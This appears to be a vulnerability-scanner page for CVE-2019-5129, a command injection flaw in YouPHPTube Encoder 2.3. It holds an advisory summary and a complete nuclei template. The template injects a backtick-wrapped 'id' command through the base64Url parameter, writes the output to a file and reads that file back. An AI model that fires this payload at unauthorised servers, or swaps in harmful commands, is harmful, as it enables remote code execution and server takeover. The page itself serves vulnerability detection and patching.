CVE-2019-5129· youphptube / youphptube encoder· CWE-78
YouPHPTube Encoder 2.3 - Command Injection
criticalseverity
9.8CVSS score
38.5%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
Impact
Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content.
Fix
Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches.
How to confirm it
Send: GET /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg ; GET /objects/{{file_name}}
Positive when: matches in body_2 /uid=[0-9]+.*gid=[0-9]+.*/ AND status 200Run it with nuclei: nuclei -id CVE-2019-5129 -u <target>
The full check
id: CVE-2019-5129
info:
name: YouPHPTube Encoder 2.3 - Command Injection
author: pussycat0x
severity: critical
description: |
Exploitable unauthenticated command injections exist in YouPHPTube Encoder 2.3 a plugin for providing encoder functionality in YouPHPTube.The parameter base64Url in /objects/getImageMP4.php is vulnerable to a command injection attack.
impact: |
Unauthenticated attackers can execute arbitrary system commands through command injection, leading to complete server compromise and potential access to all media content.
remediation: |
Upgrade to YouPHPTube Encoder version 2.4 or later, or apply vendor-provided security patches.
reference:
- https://xz.aliyun.com/news/6312
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2019-5129
cwe-id: CWE-78
epss-score: 0.38531
epss-percentile: 0.98587
cpe: cpe:2.3:a:youphptube:youphptube_encoder:2.3:*:*:*:*:*:*:*
metadata:
verified: true
vendor: youphptube
product: youphptube_encoder
fofa-query: icon_hash="-276846707"
tags: cve,cve2019,youphptube,rce,encoder,vkev,vuln
variables:
file_name: "{{rand_text_alpha(4)}}.txt"
content: "id"
payload: '{{base64(concat("`", content, " > ", file_name, "`"))}}'
http:
- raw:
- |
GET /objects/getSpiritsFromVideo.php?base64Url={{payload}}&format=jpg HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
- |
GET /objects/{{file_name}} HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
matchers-condition: and
matchers:
- type: regex
part: body_2
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
- type: status
status:
- 200References
Use this check only on systems you are authorised to test. Where the data comes from